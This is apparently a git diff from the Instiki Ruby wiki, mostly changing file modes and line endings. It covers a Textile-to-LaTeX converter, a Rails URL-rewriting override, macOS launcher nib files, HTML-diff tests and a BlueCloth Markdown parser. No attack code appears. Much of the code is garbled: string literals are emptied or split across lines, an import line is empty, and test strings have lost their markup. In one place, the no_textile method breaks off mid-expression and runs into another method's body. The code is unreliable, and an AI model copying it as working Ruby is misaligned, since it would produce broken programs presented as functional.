+ if !depth.last.nil? && !tl.length.nil? && depth.last.length == tl.length
+ lines[line_id - 1] << ''
+ end
+ end
+ unless depth.last == tl
+ depth << tl
+ atts = pba( atts )
+ lines[line_id] = "\t\\begin{#{ lT(tl) }}\n\t\\item #{ content }"
+ else
+ lines[line_id] = "\t\t\\item #{ content }"
+ end
+ last_line = line_id
+
+ elsif line =~ /^\s+\S/
+ last_line = line_id
+ elsif line_id - last_line < 2 and line =~ /^\S/
+ last_line = line_id
+ end
+ if line_id - last_line > 1 or line_id == lines.length - 1
+ depth.delete_if do |v|
+ lines[last_line] << "\n\t\\end{#{ lT( v ) }}"
+ end
+ end
+ end
+ lines.join( "\n" )
+ end
+ end
+
+ def lT( text )
+ text =~ /\#$/ ? 'enumerate' : 'itemize'
+ end
+
+ def fold( text )
+ text.gsub!( /(.+)\n(?![#*\s|])/, "\\1\\\\\\\\" )
+ # text.gsub!( /(.+)\n(?![#*\s|])/, "\\1#{ @fold_lines ? ' ' : '
' }" )
+ end
+
+ def block( text )
+ pre = false
+ find = ['bq','h[1-6]','fn\d+']
+
+ regexp_cue = []
+
+ lines = text.split( /\n/ ) + [' ']
+ new_text =
+ lines.collect do |line|
+ pre = true if line =~ /<(pre|notextile)>/i
+ find.each do |tag|
+ line.gsub!( /^(#{ tag })(#{A}#{C})\.(?::(\S+))? (.*)$/ ) do |m|
+ tag,atts,cite,content = $~[1..4]
+
+ atts = pba( atts )
+
+ if tag =~ /fn(\d+)/
+ # tag = 'p';
+ # atts << " id=\"fn#{ $1 }\""
+ regexp_cue << [ /footnote\{#{$1}}/, "footnote{#{content}}" ]
+ content = ""
+ end
+
+ if tag =~ /h([1-6])/
+ section_type = "sub" * [$1.to_i - 1, 2].min
+ start = "\t\\#{section_type}section*{"
+ tend = "}"
+ end
+
+ if tag == "bq"
+ cite = check_refs( cite )
+ cite = " cite=\"#{ cite }\"" if cite
+ start = "\t\\begin{quotation}\n\\noindent {\\em ";
+ tend = "}\n\t\\end{quotation}";
+ end
+
+ "#{ start }#{ content }#{ tend }"
+ end unless pre
+ end
+
+ #line.gsub!( /^(?!\t|<\/?pre|<\/?notextile|<\/?code|$| )(.*)/, "\t
", "\n" ) if pre
+ # pre = false if line =~ /<\/(pre|notextile)>/i
+
+ line
+ end.join( "\n" )
+ text.replace( new_text )
+ regexp_cue.each { |pair| text.gsub!(pair.first, pair.last) }
+ end
+
+ def span( text )
+ QTAGS.each do |tt, ht|
+ ttr = Regexp::quote( tt )
+ text.gsub!(
+
+ /(^|\s|\>|[#{PUNCT}{(\[])
+ #{ttr}
+ (#{C})
+ (?::(\S+?))?
+ ([^\s#{ttr}]+?(?:[^\n]|\n(?!\n))*?)
+ ([#{PUNCT}]*?)
+ #{ttr}
+ (?=[\])}]|[#{PUNCT}]+?|<|\s|$)/xm
+
+ ) do |m|
+
+ start,atts,cite,content,tend = $~[1..5]
+ atts = pba( atts )
+ atts << " cite=\"#{ cite }\"" if cite
+
+ "#{ start }{\\#{ ht } #{ content }#{ tend }}"
+
+ end
+ end
+ end
+
+ def links( text )
+ text.gsub!( /
+ ([\s\[{(]|[#{PUNCT}])? # $pre
+ " # start
+ (#{C}) # $atts
+ ([^"]+?) # $text
+ \s?
+ (?:\(([^)]+?)\)(?="))? # $title
+ ":
+ (\S+?) # $url
+ (\/)? # $slash
+ ([^\w\/;]*?) # $post
+ (?=\s|$)
+ /x ) do |m|
+ pre,atts,text,title,url,slash,post = $~[1..7]
+
+ url = check_refs( url )
+
+ atts = pba( atts )
+ atts << " title=\"#{ title }\"" if title
+ atts = shelve( atts ) if atts
+
+ "#{ pre }#{ text }#{ post }"
+ end
+ end
+
+ def get_refs( text )
+ text.gsub!( /(^|\s)\[(.+?)\]((?:http:\/\/|javascript:|ftp:\/\/|\/)\S+?)(?=\s|$)/ ) do |m|
+ flag, url = $~[1..2]
+ @urlrefs[flag] = url
+ end
+ end
+
+ def check_refs( text )
+ @urlrefs[text] || text
+ end
+
+ def image( text )
+ text.gsub!( /
+ \! # opening
+ (\<|\=|\>)? # optional alignment atts
+ (#{C}) # optional style,class atts
+ (?:\. )? # optional dot-space
+ ([^\s(!]+?) # presume this is the src
+ \s? # optional space
+ (?:\(((?:[^\(\)]|\([^\)]+\))+?)\))? # optional title
+ \! # closing
+ (?::#{ HYPERLINK })? # optional href
+ /x ) do |m|
+ algn,atts,url,title,href,href_a1,href_a2 = $~[1..7]
+ atts = pba( atts )
+ atts << " align=\"#{ i_align( algn ) }\"" if algn
+ atts << " title=\"#{ title }\"" if title
+ atts << " alt=\"#{ title }\""
+ # size = @getimagesize($url);
+ # if($size) $atts.= " $size[3]";
+
+ href = check_refs( href ) if href
+ url = check_refs( url )
+
+ out = ''
+ out << "" if href
+ out << ""
+ out << "#{ href_a1 }#{ href_a2 }" if href
+
+ out
+ end
+ end
+
+ def code( text )
+ text.gsub!( /
+ (?:^|([\s\(\[{])) # 1 open bracket?
+ @ # opening
+ (?:\|(\w+?)\|)? # 2 language
+ (\S(?:[^\n]|\n(?!\n))*?) # 3 code
+ @ # closing
+ (?:$|([\]})])|
+ (?=[#{PUNCT}]{1,2}|
+ \s)) # 4 closing bracket?
+ /x ) do |m|
+ before,lang,code,after = $~[1..4]
+ lang = " language=\"#{ lang }\"" if lang
+ "#{ before }#{ code }
#{ after }"
+ end
+ end
+
+ def shelve( val )
+ @shelf << val
+ " <#{ @shelf.length }>"
+ end
+
+ def retrieve( text )
+ @shelf.each_with_index do |r, i|
+ text.gsub!( " <#{ i + 1 }>", r )
+ end
+ end
+
+ def incoming_entities( text )
+ ## turn any incoming ampersands into a dummy character for now.
+ ## This uses a negative lookahead for alphanumerics followed by a semicolon,
+ ## implying an incoming html entity, to be skipped
+
+ text.gsub!( /&(?![#a-z0-9]+;)/i, "x%x%" )
+ end
+
+ def encode_entities( text )
+ ## Convert high and low ascii to entities.
+ # if $-K == "UTF-8"
+ # encode_high( text )
+ # else
+ text.texesc!( :NoQuotes )
+ # end
+ end
+
+ def fix_entities( text )
+ ## de-entify any remaining angle brackets or ampersands
+ text.gsub!( "\&", "&" )
+ text.gsub!( "\%", "%" )
+ end
+
+ def clean_white_space( text )
+ text.gsub!( /\r\n/, "\n" )
+ text.gsub!( /\t/, '' )
+ text.gsub!( /\n{3,}/, "\n\n" )
+ text.gsub!( /\n *\n/, "\n\n" )
+ text.gsub!( /"$/, "\" " )
+ end
+
+ def no_textile( text )
+ text.gsub!( /(^|\s)==(.*?)==(\s|$)?/,
+ '\1,
etc.
+ if tagline
+ if line =~ /<(#{ offtags })>/i
+ codepre += 1
+ used_offtags[$1] = true
+ line.texesc!( :NoQuotes ) if codepre - used_offtags.length > 0
+ elsif line =~ /<\/(#{ offtags })>/i
+ line.texesc!( :NoQuotes ) if codepre - used_offtags.length > 0
+ codepre -= 1 unless codepre.zero?
+ used_offtags = {} if codepre.zero?
+ elsif @filter_html or codepre > 0
+ line.texesc!( :NoQuotes )
+ ## line.gsub!( /<(\/?#{ offtags })>/, '<\1>' )
+ end
+ ## do htmlspecial if between
+ elsif codepre > 0
+ line.texesc!( :NoQuotes )
+ ## line.gsub!( /<(\/?#{ offtags })>/, '<\1>' )
+ elsif not tagline
+ inline line
+ glyphs_deep line
+ end
+
+ line
+ end
+ end
+ end
+
+ def glyphs( text )
+ text.gsub!( /"\z/, "\" " )
+ ## if no html, do a simple search and replace...
+ if text !~ /<.*>/
+ inline text
+ end
+ glyphs_deep text
+ end
+
+ def i_align( text )
+ I_ALGN_VALS[text]
+ end
+
+ def h_align( text )
+ H_ALGN_VALS[text]
+ end
+
+ def v_align( text )
+ V_ALGN_VALS[text]
+ end
+
+ def encode_high( text )
+ ## mb_encode_numericentity($text, $cmap, $charset);
+ end
+
+ def decode_high( text )
+ ## mb_decode_numericentity($text, $cmap, $charset);
+ end
+
+ def textile_popup_help( name, helpvar, windowW, windowH )
+ ' ' + name + '
'
+ end
+
+ CMAP = [
+ 160, 255, 0, 0xffff,
+ 402, 402, 0, 0xffff,
+ 913, 929, 0, 0xffff,
+ 931, 937, 0, 0xffff,
+ 945, 969, 0, 0xffff,
+ 977, 978, 0, 0xffff,
+ 982, 982, 0, 0xffff,
+ 8226, 8226, 0, 0xffff,
+ 8230, 8230, 0, 0xffff,
+ 8242, 8243, 0, 0xffff,
+ 8254, 8254, 0, 0xffff,
+ 8260, 8260, 0, 0xffff,
+ 8465, 8465, 0, 0xffff,
+ 8472, 8472, 0, 0xffff,
+ 8476, 8476, 0, 0xffff,
+ 8482, 8482, 0, 0xffff,
+ 8501, 8501, 0, 0xffff,
+ 8592, 8596, 0, 0xffff,
+ 8629, 8629, 0, 0xffff,
+ 8656, 8660, 0, 0xffff,
+ 8704, 8704, 0, 0xffff,
+ 8706, 8707, 0, 0xffff,
+ 8709, 8709, 0, 0xffff,
+ 8711, 8713, 0, 0xffff,
+ 8715, 8715, 0, 0xffff,
+ 8719, 8719, 0, 0xffff,
+ 8721, 8722, 0, 0xffff,
+ 8727, 8727, 0, 0xffff,
+ 8730, 8730, 0, 0xffff,
+ 8733, 8734, 0, 0xffff,
+ 8736, 8736, 0, 0xffff,
+ 8743, 8747, 0, 0xffff,
+ 8756, 8756, 0, 0xffff,
+ 8764, 8764, 0, 0xffff,
+ 8773, 8773, 0, 0xffff,
+ 8776, 8776, 0, 0xffff,
+ 8800, 8801, 0, 0xffff,
+ 8804, 8805, 0, 0xffff,
+ 8834, 8836, 0, 0xffff,
+ 8838, 8839, 0, 0xffff,
+ 8853, 8853, 0, 0xffff,
+ 8855, 8855, 0, 0xffff,
+ 8869, 8869, 0, 0xffff,
+ 8901, 8901, 0, 0xffff,
+ 8968, 8971, 0, 0xffff,
+ 9001, 9002, 0, 0xffff,
+ 9674, 9674, 0, 0xffff,
+ 9824, 9824, 0, 0xffff,
+ 9827, 9827, 0, 0xffff,
+ 9829, 9830, 0, 0xffff,
+ 338, 339, 0, 0xffff,
+ 352, 353, 0, 0xffff,
+ 376, 376, 0, 0xffff,
+ 710, 710, 0, 0xffff,
+ 732, 732, 0, 0xffff,
+ 8194, 8195, 0, 0xffff,
+ 8201, 8201, 0, 0xffff,
+ 8204, 8207, 0, 0xffff,
+ 8211, 8212, 0, 0xffff,
+ 8216, 8218, 0, 0xffff,
+ 8218, 8218, 0, 0xffff,
+ 8220, 8222, 0, 0xffff,
+ 8224, 8225, 0, 0xffff,
+ 8240, 8240, 0, 0xffff,
+ 8249, 8250, 0, 0xffff,
+ 8364, 8364, 0, 0xffff
+ ]
+ end
diff --git a/libraries/url_rewriting_hack.rb b/libraries/url_rewriting_hack.rb
old mode 100755
new mode 100644
index f7708f5d..f7ad1c50
--- a/libraries/url_rewriting_hack.rb
+++ b/libraries/url_rewriting_hack.rb
@@ -1,107 +1,107 @@
-# Below are some hacks to Rails internal classes that implement Instiki URLs scheme.
-# It is no doubt a bad practice to override internal implementation of anything.
-# When Rails implements some way to do it in the framework, this code should be replaced
-# with something more legitimate.
-
-# In Instiki URLs are mapped to the ActionPack actions, possibly performed on a particular
-# web (sub-wiki) and page within that web.
-#
-# 1. Controller is determined by action name (default is 'wiki')
-# 2. '/name1/' maps to action 'name1', unspecified web
-# Example: http://localhost/new_system/
-# 3. Special case of above, URI '/wiki/' maps to action 'index', because Rails sets this address
-# when default controller name is specified as 'wiki', and an application root
-# (http://localhost:2500/)is requested.
-# 4. '/name1/name2/' maps to web 'name1', action 'name2'
-# Example: http://localhost/mywiki/search/
-# 5. '/name1/name2/name3/' maps to web 'name1', action 'name2',
-# Example: http://localhost/mywiki/show/HomePage
-
-
-require 'dispatcher'
-
-# Overrides Rails DispatchServlet.parse_uri
-class DispatchServlet
-
- def self.parse_uri(path)
- result = parse_path(path)
- if result
- result[:controller] = ActionMapper.map_to_controller(result[:action])
- result
- else
- false
- end
- end
-
- def self.parse_path(path)
- ApplicationController.logger.debug "Parsing URI '#{path}'"
- component = '([-_a-zA-Z0-9]+)'
- page_name = '(.*)'
- case path.sub(%r{^/(?:fcgi|mruby|cgi)/}, "/")
- when '/wiki/'
- { :web => nil, :controller => 'wiki', :action => 'index' }
- when %r{^/#{component}/?$}
- { :web => nil, :controller => 'wiki', :action => $1 }
- when %r{^/#{component}/#{component}/?$}
- { :web => $1, :controller => 'wiki', :action => $2 }
- when %r{^/#{component}/#{component}/(.*)/?$}
- { :web => $1, :controller => 'wiki', :action => $2, :id => drop_trailing_slash($3) }
- else
- false
- end
- end
-
- def self.drop_trailing_slash(line)
- if line[-1] == ?/
- line.chop
- else
- line
- end
- end
-
- class ActionMapper
-
- @@action_to_controller_map = {
- 'file' => 'file',
- 'pic' => 'file'
- }
-
- def self.map_to_controller(action)
- @@action_to_controller_map[action] || 'wiki'
- end
-
- end
-
-end
-
-
-require 'action_controller/url_rewriter.rb'
-
-# Overrides parts of AP UrlRewriter to achieve the Instiki's legacy URL scheme
-module ActionController
- class UrlRewriter
-
- VALID_OPTIONS << :web unless VALID_OPTIONS.include? :web
-
- private
-
- def resolve_aliases(options)
- options[:controller_prefix] = options[:web] unless options[:web].nil?
- options
- end
-
- def controller_name(options, controller_prefix)
- ensure_slash_suffix(options, :controller_prefix)
-
- controller_name = case options[:controller_prefix]
- when String: options[:controller_prefix]
- when false : ""
- when nil : controller_prefix || ""
- end
- # In Instiki we don't need the controller name (there is only one comtroller, anyway)
- # therefore the below line is commented out
- # controller_name << (options[:controller] + "/") if options[:controller]
- return controller_name
- end
- end
-end
+# Below are some hacks to Rails internal classes that implement Instiki URLs scheme.
+# It is no doubt a bad practice to override internal implementation of anything.
+# When Rails implements some way to do it in the framework, this code should be replaced
+# with something more legitimate.
+
+# In Instiki URLs are mapped to the ActionPack actions, possibly performed on a particular
+# web (sub-wiki) and page within that web.
+#
+# 1. Controller is determined by action name (default is 'wiki')
+# 2. '/name1/' maps to action 'name1', unspecified web
+# Example: http://localhost/new_system/
+# 3. Special case of above, URI '/wiki/' maps to action 'index', because Rails sets this address
+# when default controller name is specified as 'wiki', and an application root
+# (http://localhost:2500/)is requested.
+# 4. '/name1/name2/' maps to web 'name1', action 'name2'
+# Example: http://localhost/mywiki/search/
+# 5. '/name1/name2/name3/' maps to web 'name1', action 'name2',
+# Example: http://localhost/mywiki/show/HomePage
+
+
+require 'dispatcher'
+
+# Overrides Rails DispatchServlet.parse_uri
+class DispatchServlet
+
+ def self.parse_uri(path)
+ result = parse_path(path)
+ if result
+ result[:controller] = ActionMapper.map_to_controller(result[:action])
+ result
+ else
+ false
+ end
+ end
+
+ def self.parse_path(path)
+ ApplicationController.logger.debug "Parsing URI '#{path}'"
+ component = '([-_a-zA-Z0-9]+)'
+ page_name = '(.*)'
+ case path.sub(%r{^/(?:fcgi|mruby|cgi)/}, "/")
+ when '/wiki/'
+ { :web => nil, :controller => 'wiki', :action => 'index' }
+ when %r{^/#{component}/?$}
+ { :web => nil, :controller => 'wiki', :action => $1 }
+ when %r{^/#{component}/#{component}/?$}
+ { :web => $1, :controller => 'wiki', :action => $2 }
+ when %r{^/#{component}/#{component}/(.*)/?$}
+ { :web => $1, :controller => 'wiki', :action => $2, :id => drop_trailing_slash($3) }
+ else
+ false
+ end
+ end
+
+ def self.drop_trailing_slash(line)
+ if line[-1] == ?/
+ line.chop
+ else
+ line
+ end
+ end
+
+ class ActionMapper
+
+ @@action_to_controller_map = {
+ 'file' => 'file',
+ 'pic' => 'file'
+ }
+
+ def self.map_to_controller(action)
+ @@action_to_controller_map[action] || 'wiki'
+ end
+
+ end
+
+end
+
+
+require 'action_controller/url_rewriter.rb'
+
+# Overrides parts of AP UrlRewriter to achieve the Instiki's legacy URL scheme
+module ActionController
+ class UrlRewriter
+
+ VALID_OPTIONS << :web unless VALID_OPTIONS.include? :web
+
+ private
+
+ def resolve_aliases(options)
+ options[:controller_prefix] = options[:web] unless options[:web].nil?
+ options
+ end
+
+ def controller_name(options, controller_prefix)
+ ensure_slash_suffix(options, :controller_prefix)
+
+ controller_name = case options[:controller_prefix]
+ when String: options[:controller_prefix]
+ when false : ""
+ when nil : controller_prefix || ""
+ end
+ # In Instiki we don't need the controller name (there is only one comtroller, anyway)
+ # therefore the below line is commented out
+ # controller_name << (options[:controller] + "/") if options[:controller]
+ return controller_name
+ end
+ end
+end
diff --git a/natives/osx/desktop_launcher/AppDelegate.h b/natives/osx/desktop_launcher/AppDelegate.h
old mode 100755
new mode 100644
index a50769f5..c2b8f4f1
--- a/natives/osx/desktop_launcher/AppDelegate.h
+++ b/natives/osx/desktop_launcher/AppDelegate.h
@@ -1,18 +1,18 @@
-/* AppDelegate */
-
-#import
-
+
\ No newline at end of file
diff --git a/natives/osx/desktop_launcher/English.lproj/InfoPlist.strings b/natives/osx/desktop_launcher/English.lproj/InfoPlist.strings
old mode 100755
new mode 100644
diff --git a/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/classes.nib b/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/classes.nib
old mode 100755
new mode 100644
index 368a876f..60ddec12
--- a/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/classes.nib
+++ b/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/classes.nib
@@ -1,13 +1,13 @@
-{
- IBClasses = (
- {
- ACTIONS = {about = id; goToHomepage = id; goToInstikiOrg = id; quit = id; };
- CLASS = AppDelegate;
- LANGUAGE = ObjC;
- OUTLETS = {statusMenu = NSMenu; };
- SUPERCLASS = NSObject;
- },
- {CLASS = FirstResponder; LANGUAGE = ObjC; SUPERCLASS = NSObject; }
- );
- IBVersion = 1;
+{
+ IBClasses = (
+ {
+ ACTIONS = {about = id; goToHomepage = id; goToInstikiOrg = id; quit = id; };
+ CLASS = AppDelegate;
+ LANGUAGE = ObjC;
+ OUTLETS = {statusMenu = NSMenu; };
+ SUPERCLASS = NSObject;
+ },
+ {CLASS = FirstResponder; LANGUAGE = ObjC; SUPERCLASS = NSObject; }
+ );
+ IBVersion = 1;
}
\ No newline at end of file
diff --git a/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/info.nib b/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/info.nib
old mode 100755
new mode 100644
index 6383ba8f..3ef7d504
--- a/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/info.nib
+++ b/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/info.nib
@@ -1,24 +1,24 @@
-
-
-was ' +
- 'is the ' +
- 'original ' +
- 'super string',
- HTMLDiff.diff(a, b)
- end
-
- def test_html_diff_with_multiple_paragraphs
- a = "was " +
- "isoriginal " +
- "super stringwas ' +
+ 'is the ' +
+ 'original ' +
+ 'super string',
+ HTMLDiff.diff(a, b)
+ end
+
+ def test_html_diff_with_multiple_paragraphs
+ a = "was " +
+ "isoriginal " +
+ "super stringMy Headline
\n\n
\n\ndef a_method(arg)\n} +
- %{return ThatWay\n
class SmartEngine end
would not mark up CodeBlocks
',
- 'A class SmartEngine end
would not mark up CodeBlocks
')
- end
-
- def test_content_with_autolink_in_parentheses
- assert_markup_parsed_as(
- '
\nVersion History" +
- "?blue red " +
- "and lovely morningmorning " +
- "todayMy Headline
\n\n
\n\ndef a_method(arg)\n} +
+ %{return ThatWay\n
class SmartEngine end
would not mark up CodeBlocks
',
+ 'A class SmartEngine end
would not mark up CodeBlocks
')
+ end
+
+ def test_content_with_autolink_in_parentheses
+ assert_markup_parsed_as(
+ '
\nVersion History" +
+ "?blue red " +
+ "and lovely morningmorning " +
+ "today
- #
%s\n
\n\n%s} %
- [ encode_code( outdent(codeblock), rs ).rstrip, remainder ]
- }
- end
-
-
- # Pattern for matching Markdown blockquote blocks
- BlockQuoteRegexp = %r{
- (?:
- ^[ ]*>[ ]? # '>' at the start of a line
- .+\n # rest of the first line
- (?:.+\n)* # subsequent consecutive lines
- \n* # blanks
- )+
- }x
- PreChunk = %r{ ( ^ \s* .+?) }xm - - ### Transform Markdown-style blockquotes in a copy of the specified +str+ - ### and return it. - def transform_block_quotes( str, rs ) - @log.debug " Transforming block quotes" - - str.gsub( BlockQuoteRegexp ) {|quote| - @log.debug "Making blockquote from %p" % quote - - quote.gsub!( /^ *> ?/, '' ) # Trim one level of quoting - quote.gsub!( /^ +$/, '' ) # Trim whitespace-only lines - - indent = " " * TabWidth - quoted = %{
\n%s\n\n\n} % - apply_block_transforms( quote, rs ). - gsub( /^/, indent ). - gsub( PreChunk ) {|m| m.gsub(/^#{indent}/o, '') } - @log.debug "Blockquoted chunk is: %p" % quoted - quoted - } - end - - - AutoAnchorURLRegexp = /<((https?|ftp):[^'">\s]+)>/ - AutoAnchorEmailRegexp = %r{ - < - ( - [-.\w]+ - \@ - [-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+ - ) - > - }xi - - ### Transform URLs in a copy of the specified +str+ into links and return - ### it. - def transform_auto_links( str, rs ) - @log.debug " Transforming auto-links" - str.gsub( AutoAnchorURLRegexp, %{\\1}). - gsub( AutoAnchorEmailRegexp ) {|addr| - encode_email_address( unescape_special_chars($1) ) - } - end - - - # Encoder functions to turn characters of an email address into encoded - # entities. - Encoders = [ - lambda {|char| "%03d;" % char}, - lambda {|char| "%X;" % char}, - lambda {|char| char.chr }, - ] - - ### Transform a copy of the given email +addr+ into an escaped version safer - ### for posting publicly. - def encode_email_address( addr ) - - rval = '' - ("mailto:" + addr).each_byte {|b| - case b - when ?: - rval += ":" - when ?@ - rval += Encoders[ rand(2) ][ b ] - else - r = rand(100) - rval += ( - r > 90 ? Encoders[2][ b ] : - r < 45 ? Encoders[1][ b ] : - Encoders[0][ b ] - ) - end - } - - return %{%s} % [ rval, rval.sub(/.+?:/, '') ] - end - - - # Regex for matching Setext-style headers - SetextHeaderRegexp = %r{ - (.+) # The title text ($1) - \n - ([\-=])+ # Match a line of = or -. Save only one in $2. - [ ]*\n+ - }x - - # Regexp for matching ATX-style headers - AtxHeaderRegexp = %r{ - ^(\#{1,6}) # $1 = string of #'s - [ ]* - (.+?) # $2 = Header text - [ ]* - \#* # optional closing #'s (not counted) - \n+ - }x - - ### Apply Markdown header transforms to a copy of the given +str+ amd render - ### state +rs+ and return the result. - def transform_headers( str, rs ) - @log.debug " Transforming headers" - - # Setext-style headers: - # Header 1 - # ======== - # - # Header 2 - # -------- - # - str. - gsub( SetextHeaderRegexp ) {|m| - @log.debug "Found setext-style header" - title, hdrchar = $1, $2 - title = apply_span_transforms( title, rs ) - - case hdrchar - when '=' - %[
- ### tags and return it. - def form_paragraphs( str, rs ) - @log.debug " Forming paragraphs" - grafs = str. - sub( /\A\n+/, '' ). - sub( /\n+\z/, '' ). - split( /\n{2,}/ ) - - rval = grafs.collect {|graf| - - # Unhashify HTML blocks if this is a placeholder - if rs.html_blocks.key?( graf ) - rs.html_blocks[ graf ] - - # Otherwise, wrap in
tags - else - apply_span_transforms(graf, rs). - sub( /^[ ]*/, '
' ) + '
' - end - }.join( "\n\n" ) - - @log.debug " Formed paragraphs: %p" % rval - return rval - end - - - # Pattern to match the linkid part of an anchor tag for reference-style - # links. - RefLinkIdRegex = %r{ - [ ]? # Optional leading space - (?:\n[ ]*)? # Optional newline + spaces - \[ - (.*?) # Id = $1 - \] - }x - - InlineLinkRegex = %r{ - \( # Literal paren - [ ]* # Zero or more spaces - (.+?)>? # URI = $1 - [ ]* # Zero or more spaces - (?: # - ([\"\']) # Opening quote char = $2 - (.*?) # Title = $3 - \2 # Matching quote char - )? # Title is optional - \) - }x - - ### Apply Markdown anchor transforms to a copy of the specified +str+ with - ### the given render state +rs+ and return it. - def transform_anchors( str, rs ) - @log.debug " Transforming anchors" - @scanner.string = str.dup - text = '' - - # Scan the whole string - until @scanner.empty? - - if @scanner.scan( /\[/ ) - link = ''; linkid = '' - depth = 1 - startpos = @scanner.pos - @log.debug " Found a bracket-open at %d" % startpos - - # Scan the rest of the tag, allowing unlimited nested []s. If - # the scanner runs out of text before the opening bracket is - # closed, append the text and return (wasn't a valid anchor). - while depth.nonzero? - linktext = @scanner.scan_until( /\]|\[/ ) - - if linktext - @log.debug " Found a bracket at depth %d: %p" % [ depth, linktext ] - link += linktext - - # Decrement depth for each closing bracket - depth += ( linktext[-1, 1] == ']' ? -1 : 1 ) - @log.debug " Depth is now #{depth}" - - # If there's no more brackets, it must not be an anchor, so - # just abort. - else - @log.debug " Missing closing brace, assuming non-link." - link += @scanner.rest - @scanner.terminate - return text + '[' + link - end - end - link.slice!( -1 ) # Trim final ']' - @log.debug " Found leading link %p" % link - - # Look for a reference-style second part - if @scanner.scan( RefLinkIdRegex ) - linkid = @scanner[1] - linkid = link.dup if linkid.empty? - linkid.downcase! - @log.debug " Found a linkid: %p" % linkid - - # If there's a matching link in the link table, build an - # anchor tag for it. - if rs.urls.key?( linkid ) - @log.debug " Found link key in the link table: %p" % rs.urls[linkid] - url = escape_md( rs.urls[linkid] ) - - text += %{#{link}} - - # If the link referred to doesn't exist, just append the raw - # source to the result - else - @log.debug " Linkid %p not found in link table" % linkid - @log.debug " Appending original string instead: " - @log.debug "%p" % @scanner.string[ startpos-1 .. @scanner.pos-1 ] - text += @scanner.string[ startpos-1 .. @scanner.pos-1 ] - end - - # ...or for an inline style second part - elsif @scanner.scan( InlineLinkRegex ) - url = @scanner[1] - title = @scanner[3] - @log.debug " Found an inline link to %p" % url - - text += %{#{link}} - - # No linkid part: just append the first part as-is. - else - @log.debug "No linkid, so no anchor. Appending literal text." - text += @scanner.string[ startpos-1 .. @scanner.pos-1 ] - end # if linkid - - # Plain text - else - @log.debug " Scanning to the next link from %p" % @scanner.rest - text += @scanner.scan( /[^\[]+/ ) - end - - end # until @scanner.empty? - - return text - end - - - # Pattern to match strong emphasis in Markdown text - BoldRegexp = %r{ (\*\*|__) (\S|\S.+?\S) \1 }x - - # Pattern to match normal emphasis in Markdown text - ItalicRegexp = %r{ (\*|_) (\S|\S.+?\S) \1 }x - - ### Transform italic- and bold-encoded text in a copy of the specified +str+ - ### and return it. - def transform_italic_and_bold( str, rs ) - @log.debug " Transforming italic and bold" - - str. - gsub( BoldRegexp, %{\\2} ). - gsub( ItalicRegexp, %{\\2} ) - end - - - ### Transform backticked spans into spans.
- def transform_code_spans( str, rs )
- @log.debug " Transforming code spans"
-
- # Set up the string scanner and just return the string unless there's at
- # least one backtick.
- @scanner.string = str.dup
- unless @scanner.exist?( /`/ )
- @scanner.terminate
- @log.debug "No backticks found for code span in %p" % str
- return str
- end
-
- @log.debug "Transforming code spans in %p" % str
-
- # Build the transformed text anew
- text = ''
-
- # Scan to the end of the string
- until @scanner.empty?
-
- # Scan up to an opening backtick
- if pre = @scanner.scan_until( /.?(?=`)/m )
- text += pre
- @log.debug "Found backtick at %d after '...%s'" % [ @scanner.pos, text[-10, 10] ]
-
- # Make a pattern to find the end of the span
- opener = @scanner.scan( /`+/ )
- len = opener.length
- closer = Regexp::new( opener )
- @log.debug "Scanning for end of code span with %p" % closer
-
- # Scan until the end of the closing backtick sequence. Chop the
- # backticks off the resultant string, strip leading and trailing
- # whitespace, and encode any enitites contained in it.
- codespan = @scanner.scan_until( closer ) or
- raise FormatError::new( @scanner.rest[0,20],
- "No %p found before end" % opener )
-
- @log.debug "Found close of code span at %d: %p" % [ @scanner.pos - len, codespan ]
- codespan.slice!( -len, len )
- text += "%s
" %
- encode_code( codespan.strip, rs )
-
- # If there's no more backticks, just append the rest of the string
- # and move the scan pointer to the end
- else
- text += @scanner.rest
- @scanner.terminate
- end
- end
-
- return text
- end
-
-
- # Next, handle inline images: ![alt text](url "optional title")
- # Don't forget: encode * and _
- InlineImageRegexp = %r{
- ( # Whole match = $1
- !\[ (.*?) \] # alt text = $2
- \([ ]*
- (\S+?)>? # source url = $3
- [ ]*
- (?: #
- (["']) # quote char = $4
- (.*?) # title = $5
- \4 # matching quote
- [ ]*
- )? # title is optional
- \)
- )
- }xs #"
-
-
- # Reference-style images
- ReferenceImageRegexp = %r{
- ( # Whole match = $1
- !\[ (.*?) \] # Alt text = $2
- [ ]? # Optional space
- (?:\n[ ]*)? # One optional newline + spaces
- \[ (.*?) \] # id = $3
- )
- }xs
-
- ### Turn image markup into image tags.
- def transform_images( str, rs )
- @log.debug " Transforming images" % str
-
- # Handle reference-style labeled images: ![alt text][id]
- str.
- gsub( ReferenceImageRegexp ) {|match|
- whole, alt, linkid = $1, $2, $3.downcase
- @log.debug "Matched %p" % match
- res = nil
- alt.gsub!( /"/, '"' )
-
- # for shortcut links like ![this][].
- linkid = alt.downcase if linkid.empty?
-
- if rs.urls.key?( linkid )
- url = escape_md( rs.urls[linkid] )
- @log.debug "Found url '%s' for linkid '%s' " % [ url, linkid ]
-
- # Build the tag
- result = %{}, '>' ).
- gsub( CodeEscapeRegexp ) {|match| EscapeTable[match][:md5]}
- end
-
-
-
- #################################################################
- ### U T I L I T Y F U N C T I O N S
- #################################################################
-
- ### Escape any markdown characters in a copy of the given +str+ and return
- ### it.
- def escape_md( str )
- str.
- gsub( /\*/, EscapeTable['*'][:md5] ).
- gsub( /_/, EscapeTable['_'][:md5] )
- end
-
-
- # Matching constructs for tokenizing X/HTML
- HTMLCommentRegexp = %r{ }mx
- XMLProcInstRegexp = %r{ <\? .*? \?> }mx
- MetaTag = Regexp::union( HTMLCommentRegexp, XMLProcInstRegexp )
-
- HTMLTagOpenRegexp = %r{ < [a-z/!$] [^<>]* }imx
- HTMLTagCloseRegexp = %r{ > }x
- HTMLTagPart = Regexp::union( HTMLTagOpenRegexp, HTMLTagCloseRegexp )
-
- ### Break the HTML source in +str+ into a series of tokens and return
- ### them. The tokens are just 2-element Array tuples with a type and the
- ### actual content. If this function is called with a block, the type and
- ### text parts of each token will be yielded to it one at a time as they are
- ### extracted.
- def tokenize_html( str )
- depth = 0
- tokens = []
- @scanner.string = str.dup
- type, token = nil, nil
